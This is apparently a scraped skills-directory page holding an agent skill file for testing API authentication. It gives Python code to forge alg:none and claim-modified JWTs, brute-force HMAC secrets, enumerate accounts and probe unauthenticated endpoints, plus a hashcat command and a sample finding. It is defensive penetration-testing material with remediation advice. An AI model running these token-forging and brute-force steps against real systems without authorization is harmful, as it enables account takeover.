[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ABRAZFSBF2PZ8EQJEPWHG6":3,"skill-same:01M7ABRAZFSBF2PZ8EQJEPWHG6":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":14,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7ABRAZFSBF2PZ8EQJEPWHG6","testing-api-authentication-weaknesses",null,"Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-api-authentication-weaknesses\ndescription: 'Tests API authentication mechanisms for weaknesses including broken\n  token validation, missing authentication on endpoints, weak password policies, credential\n  stuffing susceptibility, token leakage in URLs or logs, and session management flaws.\n  The tester evaluates JWT implementation, API key handling, OAuth flows, and session\n  token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken\n  Authentication. Activates for requests involving API authentication testing, token\n  validation assessment, credential security testing, or API auth bypass.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- owasp\n- authentication\n- jwt\n- session-management\n- credential-security\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1003\n- T1110\n---\n# Testing API Authentication Weaknesses\n\n## When to Use\n\n- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment\n- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)\n- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed\n- Testing API key generation, storage, and rotation mechanisms for predictability or leakage\n- Validating session management including token expiration, revocation, and refresh token security\n\n**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.\n\n## Prerequisites\n\n- Written authorization specifying target API and authentication mechanisms in scope\n- Valid test credentials for at least two user roles (regular user, admin)\n- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)\n- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries\n- Wordlists for credential testing (SecLists authentication wordlists)\n- API documentation or OpenAPI specification\n\n## Workflow\n\n### Step 1: Authentication Mechanism Identification\n\n```python\nimport requests\nimport json\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Probe the API to identify authentication mechanisms\nauth_indicators = {\n    \"jwt_bearer\": False,\n    \"api_key_header\": False,\n    \"api_key_query\": False,\n    \"basic_auth\": False,\n    \"oauth2\": False,\n    \"session_cookie\": False,\n    \"custom_token\": False,\n}\n\n# Test 1: Check unauthenticated access\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\")\nprint(f\"Unauthenticated: {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Endpoint accessible without authentication\")\n\n# Test 2: Check WWW-Authenticate header\nif \"WWW-Authenticate\" in resp.headers:\n    scheme = resp.headers[\"WWW-Authenticate\"]\n    print(f\"Auth scheme advertised: {scheme}\")\n    if \"Bearer\" in scheme:\n        auth_indicators[\"jwt_bearer\"] = True\n    elif \"Basic\" in scheme:\n        auth_indicators[\"basic_auth\"] = True\n\n# Test 3: Login and examine tokens\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": \"testuser@example.com\", \"password\": \"TestPass123!\"})\n\nif login_resp.status_code == 200:\n    login_data = login_resp.json()\n    # Check for JWT tokens\n    for key in [\"token\", \"access_token\", \"jwt\", \"id_token\"]:\n        if key in login_data:\n            token = login_data[key]\n            if token.count('.') == 2:\n                auth_indicators[\"jwt_bearer\"] = True\n                print(f\"JWT found in response field: {key}\")\n    # Check for refresh tokens\n    for key in [\"refresh_token\", \"refresh\"]:\n        if key in login_data:\n            print(f\"Refresh token found in field: {key}\")\n    # Check for session cookies\n    for cookie in login_resp.cookies:\n        print(f\"Cookie set: {cookie.name} = {cookie.value[:20]}...\")\n        if \"session\" in cookie.name.lower():\n            auth_indicators[\"session_cookie\"] = True\n\nprint(f\"\\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}\")\n```\n\n### Step 2: Unauthenticated Endpoint Discovery\n\n```python\n# Test all endpoints without authentication\nendpoints = [\n    (\"GET\", \"\u002Fusers\"),\n    (\"GET\", \"\u002Fusers\u002Fme\"),\n    (\"GET\", \"\u002Fusers\u002F1\"),\n    (\"GET\", \"\u002Fadmin\u002Fusers\"),\n    (\"GET\", \"\u002Fadmin\u002Fsettings\"),\n    (\"GET\", \"\u002Fhealth\"),\n    (\"GET\", \"\u002Fmetrics\"),\n    (\"GET\", \"\u002Fdebug\"),\n    (\"GET\", \"\u002Factuator\"),\n    (\"GET\", \"\u002Factuator\u002Fenv\"),\n    (\"GET\", \"\u002Fswagger.json\"),\n    (\"GET\", \"\u002Fapi-docs\"),\n    (\"GET\", \"\u002Fgraphql\"),\n    (\"POST\", \"\u002Fgraphql\"),\n    (\"GET\", \"\u002Fconfig\"),\n    (\"GET\", \"\u002Finternal\u002Fstatus\"),\n    (\"GET\", \"\u002F.env\"),\n    (\"GET\", \"\u002Fstatus\"),\n    (\"GET\", \"\u002Finfo\"),\n    (\"GET\", \"\u002Fversion\"),\n]\n\nprint(\"Unauthenticated Endpoint Scan:\")\nfor method, path in endpoints:\n    try:\n        resp = requests.request(method, f\"{BASE_URL}{path}\", timeout=5)\n        if resp.status_code not in (401, 403):\n            content_preview = resp.text[:100] if resp.text else \"empty\"\n            print(f\"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}\")\n    except requests.exceptions.RequestException:\n        pass\n```\n\n### Step 3: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport hmac\nimport hashlib\n\ndef decode_jwt_parts(token):\n    \"\"\"Decode JWT header and payload without verification.\"\"\"\n    parts = token.split('.')\n    if len(parts) != 3:\n        return None, None\n\n    def pad_base64(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))\n    return header, payload\n\n# Analyze the JWT token\ntoken = login_data.get(\"access_token\", \"\")\nheader, payload = decode_jwt_parts(token)\n\nprint(f\"JWT Header: {json.dumps(header, indent=2)}\")\nprint(f\"JWT Payload: {json.dumps(payload, indent=2)}\")\n\n# Security checks\nissues = []\n\n# Check 1: Algorithm\nif header.get(\"alg\") == \"none\":\n    issues.append(\"CRITICAL: Algorithm set to 'none' - token signature not verified\")\nif header.get(\"alg\") in (\"HS256\", \"HS384\", \"HS512\"):\n    issues.append(\"INFO: Symmetric algorithm used - check for weak\u002Fdefault secrets\")\n\n# Check 2: Expiration\nif \"exp\" not in payload:\n    issues.append(\"HIGH: No expiration claim (exp) - token never expires\")\nelse:\n    import time\n    exp_time = payload[\"exp\"]\n    ttl = exp_time - time.time()\n    if ttl > 86400:\n        issues.append(f\"MEDIUM: Token TTL is {ttl\u002F3600:.0f} hours - excessively long\")\n\n# Check 3: Sensitive data in payload\nsensitive_fields = [\"password\", \"ssn\", \"credit_card\", \"secret\", \"private_key\"]\nfor field in sensitive_fields:\n    if field in payload:\n        issues.append(f\"HIGH: Sensitive field '{field}' in JWT payload\")\n\n# Check 4: Missing claims\nexpected_claims = [\"iss\", \"aud\", \"exp\", \"iat\", \"sub\"]\nmissing = [c for c in expected_claims if c not in payload]\nif missing:\n    issues.append(f\"MEDIUM: Missing standard claims: {missing}\")\n\n# Check 5: Key ID\nif \"kid\" in header:\n    kid = header[\"kid\"]\n    # Test for path traversal in kid\n    issues.append(f\"INFO: Key ID (kid) present: {kid} - test for injection\")\n\nfor issue in issues:\n    print(f\"  [{issue.split(':')[0]}] {issue}\")\n```\n\n### Step 4: JWT Manipulation Attacks\n\n```python\n# Attack 1: Remove signature (alg: none)\ndef forge_none_algorithm(token):\n    \"\"\"Create a token with alg:none to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    header['alg'] = 'none'\n    new_header = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    # Variations of the none algorithm\n    return [\n        f\"{new_header}.{parts[1]}.\",\n        f\"{new_header}.{parts[1]}.{parts[2]}\",\n        f\"{new_header}.{parts[1]}.e30\",\n    ]\n\n# Attack 2: Modify claims without re-signing\ndef forge_payload(token, modifications):\n    \"\"\"Modify payload claims and test if server validates signature.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n    payload_data.update(modifications)\n    new_payload = base64.urlsafe_b64encode(\n        json.dumps(payload_data).encode()).decode().rstrip('=')\n    return f\"{parts[0]}.{new_payload}.{parts[2]}\"\n\n# Attack 3: Brute force weak HMAC secrets\nCOMMON_JWT_SECRETS = [\n    \"secret\", \"password\", \"123456\", \"jwt_secret\", \"supersecret\",\n    \"key\", \"test\", \"admin\", \"changeme\", \"default\",\n    \"your-256-bit-secret\", \"my-secret-key\", \"jwt-secret\",\n    \"s3cr3t\", \"secret123\", \"mysecretkey\", \"apisecret\",\n]\n\ndef brute_force_jwt_secret(token):\n    \"\"\"Try common secrets against HMAC-signed JWTs.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):\n        print(\"Not an HMAC token, skipping brute force\")\n        return None\n\n    signing_input = f\"{parts[0]}.{parts[1]}\".encode()\n    signature = parts[2]\n\n    hash_func = {\n        'HS256': hashlib.sha256,\n        'HS384': hashlib.sha384,\n        'HS512': hashlib.sha512\n    }[header['alg']]\n\n    for secret in COMMON_JWT_SECRETS:\n        expected_sig = base64.urlsafe_b64encode(\n            hmac.new(secret.encode(), signing_input, hash_func).digest()\n        ).decode().rstrip('=')\n        if expected_sig == signature:\n            print(f\"[CRITICAL] JWT secret found: '{secret}'\")\n            return secret\n\n    print(\"No common secrets matched - consider using hashcat\u002Fjohn for extended brute force\")\n    return None\n\n# Test all attacks\nnone_tokens = forge_none_algorithm(token)\nfor none_token in none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n                       headers={\"Authorization\": f\"Bearer {none_token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] alg:none bypass successful\")\n\n# Test privilege escalation via claim modification\nadmin_token = forge_payload(token, {\"role\": \"admin\", \"is_admin\": True})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n                   headers={\"Authorization\": f\"Bearer {admin_token}\"})\nif resp.status_code == 200:\n    print(\"[CRITICAL] JWT claim modification accepted without signature validation\")\n\nbrute_force_jwt_secret(token)\n```\n\n### Step 5: Token Lifecycle Testing\n\n```python\n# Test 1: Token reuse after logout\nlogout_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogout\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nprint(f\"Logout: {logout_resp.status_code}\")\n\n# Try to use the token after logout\npost_logout_resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nif post_logout_resp.status_code == 200:\n    print(\"[HIGH] Token still valid after logout - no server-side revocation\")\n\n# Test 2: Token reuse after password change\n# (requires changing password and then testing old token)\n\n# Test 3: Refresh token rotation\nrefresh_token = login_data.get(\"refresh_token\")\nif refresh_token:\n    # Use refresh token\n    refresh_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    new_tokens = refresh_resp.json()\n\n    # Try to reuse the same refresh token (should fail if rotation is implemented)\n    reuse_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    if reuse_resp.status_code == 200:\n        print(\"[HIGH] Refresh token reuse allowed - no rotation implemented\")\n\n# Test 4: Token in URL (leakage risk)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme?token={token}\")\nif resp.status_code == 200:\n    print(\"[MEDIUM] Token accepted in query parameter - may leak in logs\u002Freferrer\")\n```\n\n### Step 6: Password Policy and Credential Testing\n\n```python\n# Test password policy enforcement on registration\u002Fchange endpoints\nweak_passwords = [\n    \"a\",           # Too short\n    \"password\",    # Common password\n    \"12345678\",    # Numeric only\n    \"abcdefgh\",    # Alpha only, no complexity\n    \"Password1\",   # Meets basic complexity but is common\n    \"\",            # Empty\n    \" \",           # Whitespace\n]\n\nfor pwd in weak_passwords:\n    resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Fregister\",\n        json={\"email\": f\"test_{hash(pwd)%9999}@example.com\",\n              \"password\": pwd, \"name\": \"Test User\"})\n    if resp.status_code in (200, 201):\n        print(f\"[WEAK POLICY] Password accepted: '{pwd}'\")\n\n# Test account enumeration via login response differences\nvalid_email = \"testuser@example.com\"\ninvalid_email = \"nonexistent_user_xyz@example.com\"\n\nresp_valid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": valid_email, \"password\": \"wrongpassword\"})\nresp_invalid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": invalid_email, \"password\": \"wrongpassword\"})\n\nif resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:\n    print(f\"[MEDIUM] Account enumeration possible:\")\n    print(f\"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}\")\n    print(f\"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |\n| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |\n| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |\n| **Credential Stuffing** | Automated attack using leaked username\u002Fpassword pairs against authentication endpoints |\n| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |\n| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |\n\n## Tools & Systems\n\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes\n- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing\n- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)\n- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing\n- **Nuclei**: Template-based scanner with authentication bypass detection templates\n\n## Common Scenarios\n\n### Scenario: SaaS Platform API Authentication Assessment\n\n**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.\n\n**Approach**:\n1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role\n2. Test alg:none bypass: server rejects the token (secure)\n3. Brute force the HMAC secret: discover the secret is \"company-jwt-secret-2023\" (found using hashcat with custom wordlist)\n4. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints\n5. Test token revocation: tokens remain valid after logout and password change (no blacklist)\n6. Test refresh token: refresh token has no expiration and can be reused indefinitely\n7. Find that the password reset endpoint returns different messages for valid vs invalid emails\n8. Discover that the `\u002Fhealth` and `\u002Fmetrics` endpoints are accessible without authentication\n\n**Pitfalls**:\n- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows\n- Not checking if the JWT secret is the same across all environments (dev, staging, production)\n- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week\n- Not testing for token leakage in server logs, URL parameters, or error messages\n\n## Output Format\n\n```\n## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable\n\n**ID**: API-AUTH-001\n**Severity**: Critical (CVSS 9.1)\n**OWASP API**: API2:2023 - Broken Authentication\n**Affected Components**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (token issuance)\n  - All authenticated endpoints (token validation)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogout (ineffective)\n\n**Description**:\nThe API uses HS256-signed JWT tokens with a brute-forceable secret\n(\"company-jwt-secret-2023\"). An attacker who discovers this secret can\nforge tokens for any user with any role, including admin. Additionally,\ntokens are not revocable - logout does not invalidate the token server-side,\nand the 7-day expiration means stolen tokens remain valid for extended periods.\n\n**Attack Chain**:\n1. Capture any valid JWT from authenticated session\n2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt\n3. Secret recovered in 3 minutes: \"company-jwt-secret-2023\"\n4. Forge admin JWT: modify \"role\" claim to \"admin\", re-sign with discovered secret\n5. Access admin endpoints: GET \u002Fapi\u002Fv1\u002Fadmin\u002Fusers returns all 50,000 user accounts\n\n**Remediation**:\n1. Replace HS256 with RS256 using a 2048-bit RSA key pair\n2. Use a cryptographically random secret of at least 256 bits if HMAC must be used\n3. Implement token blacklisting using Redis for logout and password change events\n4. Reduce token TTL to 15 minutes with refresh token rotation\n5. Add `iss` and `aud` claims validation to prevent token misuse across services\n```\n","# Testing API Authentication Weaknesses\n\n## When to Use\n\n- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment\n- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)\n- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed\n- Testing API key generation, storage, and rotation mechanisms for predictability or leakage\n- Validating session management including token expiration, revocation, and refresh token security\n\n**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.\n\n## Prerequisites\n\n- Written authorization specifying target API and authentication mechanisms in scope\n- Valid test credentials for at least two user roles (regular user, admin)\n- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)\n- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries\n- Wordlists for credential testing (SecLists authentication wordlists)\n- API documentation or OpenAPI specification\n\n## Workflow\n\n### Step 1: Authentication Mechanism Identification\n\n```python\nimport requests\nimport json\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Probe the API to identify authentication mechanisms\nauth_indicators = {\n    \"jwt_bearer\": False,\n    \"api_key_header\": False,\n    \"api_key_query\": False,\n    \"basic_auth\": False,\n    \"oauth2\": False,\n    \"session_cookie\": False,\n    \"custom_token\": False,\n}\n\n# Test 1: Check unauthenticated access\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\")\nprint(f\"Unauthenticated: {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Endpoint accessible without authentication\")\n\n# Test 2: Check WWW-Authenticate header\nif \"WWW-Authenticate\" in resp.headers:\n    scheme = resp.headers[\"WWW-Authenticate\"]\n    print(f\"Auth scheme advertised: {scheme}\")\n    if \"Bearer\" in scheme:\n        auth_indicators[\"jwt_bearer\"] = True\n    elif \"Basic\" in scheme:\n        auth_indicators[\"basic_auth\"] = True\n\n# Test 3: Login and examine tokens\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": \"testuser@example.com\", \"password\": \"TestPass123!\"})\n\nif login_resp.status_code == 200:\n    login_data = login_resp.json()\n    # Check for JWT tokens\n    for key in [\"token\", \"access_token\", \"jwt\", \"id_token\"]:\n        if key in login_data:\n            token = login_data[key]\n            if token.count('.') == 2:\n                auth_indicators[\"jwt_bearer\"] = True\n                print(f\"JWT found in response field: {key}\")\n    # Check for refresh tokens\n    for key in [\"refresh_token\", \"refresh\"]:\n        if key in login_data:\n            print(f\"Refresh token found in field: {key}\")\n    # Check for session cookies\n    for cookie in login_resp.cookies:\n        print(f\"Cookie set: {cookie.name} = {cookie.value[:20]}...\")\n        if \"session\" in cookie.name.lower():\n            auth_indicators[\"session_cookie\"] = True\n\nprint(f\"\\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}\")\n```\n\n### Step 2: Unauthenticated Endpoint Discovery\n\n```python\n# Test all endpoints without authentication\nendpoints = [\n    (\"GET\", \"\u002Fusers\"),\n    (\"GET\", \"\u002Fusers\u002Fme\"),\n    (\"GET\", \"\u002Fusers\u002F1\"),\n    (\"GET\", \"\u002Fadmin\u002Fusers\"),\n    (\"GET\", \"\u002Fadmin\u002Fsettings\"),\n    (\"GET\", \"\u002Fhealth\"),\n    (\"GET\", \"\u002Fmetrics\"),\n    (\"GET\", \"\u002Fdebug\"),\n    (\"GET\", \"\u002Factuator\"),\n    (\"GET\", \"\u002Factuator\u002Fenv\"),\n    (\"GET\", \"\u002Fswagger.json\"),\n    (\"GET\", \"\u002Fapi-docs\"),\n    (\"GET\", \"\u002Fgraphql\"),\n    (\"POST\", \"\u002Fgraphql\"),\n    (\"GET\", \"\u002Fconfig\"),\n    (\"GET\", \"\u002Finternal\u002Fstatus\"),\n    (\"GET\", \"\u002F.env\"),\n    (\"GET\", \"\u002Fstatus\"),\n    (\"GET\", \"\u002Finfo\"),\n    (\"GET\", \"\u002Fversion\"),\n]\n\nprint(\"Unauthenticated Endpoint Scan:\")\nfor method, path in endpoints:\n    try:\n        resp = requests.request(method, f\"{BASE_URL}{path}\", timeout=5)\n        if resp.status_code not in (401, 403):\n            content_preview = resp.text[:100] if resp.text else \"empty\"\n            print(f\"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}\")\n    except requests.exceptions.RequestException:\n        pass\n```\n\n### Step 3: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport hmac\nimport hashlib\n\ndef decode_jwt_parts(token):\n    \"\"\"Decode JWT header and payload without verification.\"\"\"\n    parts = token.split('.')\n    if len(parts) != 3:\n        return None, None\n\n    def pad_base64(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))\n    return header, payload\n\n# Analyze the JWT token\ntoken = login_data.get(\"access_token\", \"\")\nheader, payload = decode_jwt_parts(token)\n\nprint(f\"JWT Header: {json.dumps(header, indent=2)}\")\nprint(f\"JWT Payload: {json.dumps(payload, indent=2)}\")\n\n# Security checks\nissues = []\n\n# Check 1: Algorithm\nif header.get(\"alg\") == \"none\":\n    issues.append(\"CRITICAL: Algorithm set to 'none' - token signature not verified\")\nif header.get(\"alg\") in (\"HS256\", \"HS384\", \"HS512\"):\n    issues.append(\"INFO: Symmetric algorithm used - check for weak\u002Fdefault secrets\")\n\n# Check 2: Expiration\nif \"exp\" not in payload:\n    issues.append(\"HIGH: No expiration claim (exp) - token never expires\")\nelse:\n    import time\n    exp_time = payload[\"exp\"]\n    ttl = exp_time - time.time()\n    if ttl > 86400:\n        issues.append(f\"MEDIUM: Token TTL is {ttl\u002F3600:.0f} hours - excessively long\")\n\n# Check 3: Sensitive data in payload\nsensitive_fields = [\"password\", \"ssn\", \"credit_card\", \"secret\", \"private_key\"]\nfor field in sensitive_fields:\n    if field in payload:\n        issues.append(f\"HIGH: Sensitive field '{field}' in JWT payload\")\n\n# Check 4: Missing claims\nexpected_claims = [\"iss\", \"aud\", \"exp\", \"iat\", \"sub\"]\nmissing = [c for c in expected_claims if c not in payload]\nif missing:\n    issues.append(f\"MEDIUM: Missing standard claims: {missing}\")\n\n# Check 5: Key ID\nif \"kid\" in header:\n    kid = header[\"kid\"]\n    # Test for path traversal in kid\n    issues.append(f\"INFO: Key ID (kid) present: {kid} - test for injection\")\n\nfor issue in issues:\n    print(f\"  [{issue.split(':')[0]}] {issue}\")\n```\n\n### Step 4: JWT Manipulation Attacks\n\n```python\n# Attack 1: Remove signature (alg: none)\ndef forge_none_algorithm(token):\n    \"\"\"Create a token with alg:none to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    header['alg'] = 'none'\n    new_header = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    # Variations of the none algorithm\n    return [\n        f\"{new_header}.{parts[1]}.\",\n        f\"{new_header}.{parts[1]}.{parts[2]}\",\n        f\"{new_header}.{parts[1]}.e30\",\n    ]\n\n# Attack 2: Modify claims without re-signing\ndef forge_payload(token, modifications):\n    \"\"\"Modify payload claims and test if server validates signature.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n    payload_data.update(modifications)\n    new_payload = base64.urlsafe_b64encode(\n        json.dumps(payload_data).encode()).decode().rstrip('=')\n    return f\"{parts[0]}.{new_payload}.{parts[2]}\"\n\n# Attack 3: Brute force weak HMAC secrets\nCOMMON_JWT_SECRETS = [\n    \"secret\", \"password\", \"123456\", \"jwt_secret\", \"supersecret\",\n    \"key\", \"test\", \"admin\", \"changeme\", \"default\",\n    \"your-256-bit-secret\", \"my-secret-key\", \"jwt-secret\",\n    \"s3cr3t\", \"secret123\", \"mysecretkey\", \"apisecret\",\n]\n\ndef brute_force_jwt_secret(token):\n    \"\"\"Try common secrets against HMAC-signed JWTs.\"\"\"\n    parts = token.split('.')\n    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\n    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):\n        print(\"Not an HMAC token, skipping brute force\")\n        return None\n\n    signing_input = f\"{parts[0]}.{parts[1]}\".encode()\n    signature = parts[2]\n\n    hash_func = {\n        'HS256': hashlib.sha256,\n        'HS384': hashlib.sha384,\n        'HS512': hashlib.sha512\n    }[header['alg']]\n\n    for secret in COMMON_JWT_SECRETS:\n        expected_sig = base64.urlsafe_b64encode(\n            hmac.new(secret.encode(), signing_input, hash_func).digest()\n        ).decode().rstrip('=')\n        if expected_sig == signature:\n            print(f\"[CRITICAL] JWT secret found: '{secret}'\")\n            return secret\n\n    print(\"No common secrets matched - consider using hashcat\u002Fjohn for extended brute force\")\n    return None\n\n# Test all attacks\nnone_tokens = forge_none_algorithm(token)\nfor none_token in none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n                       headers={\"Authorization\": f\"Bearer {none_token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] alg:none bypass successful\")\n\n# Test privilege escalation via claim modification\nadmin_token = forge_payload(token, {\"role\": \"admin\", \"is_admin\": True})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n                   headers={\"Authorization\": f\"Bearer {admin_token}\"})\nif resp.status_code == 200:\n    print(\"[CRITICAL] JWT claim modification accepted without signature validation\")\n\nbrute_force_jwt_secret(token)\n```\n\n### Step 5: Token Lifecycle Testing\n\n```python\n# Test 1: Token reuse after logout\nlogout_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogout\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nprint(f\"Logout: {logout_resp.status_code}\")\n\n# Try to use the token after logout\npost_logout_resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {token}\"})\nif post_logout_resp.status_code == 200:\n    print(\"[HIGH] Token still valid after logout - no server-side revocation\")\n\n# Test 2: Token reuse after password change\n# (requires changing password and then testing old token)\n\n# Test 3: Refresh token rotation\nrefresh_token = login_data.get(\"refresh_token\")\nif refresh_token:\n    # Use refresh token\n    refresh_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    new_tokens = refresh_resp.json()\n\n    # Try to reuse the same refresh token (should fail if rotation is implemented)\n    reuse_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Frefresh\",\n        json={\"refresh_token\": refresh_token})\n    if reuse_resp.status_code == 200:\n        print(\"[HIGH] Refresh token reuse allowed - no rotation implemented\")\n\n# Test 4: Token in URL (leakage risk)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme?token={token}\")\nif resp.status_code == 200:\n    print(\"[MEDIUM] Token accepted in query parameter - may leak in logs\u002Freferrer\")\n```\n\n### Step 6: Password Policy and Credential Testing\n\n```python\n# Test password policy enforcement on registration\u002Fchange endpoints\nweak_passwords = [\n    \"a\",           # Too short\n    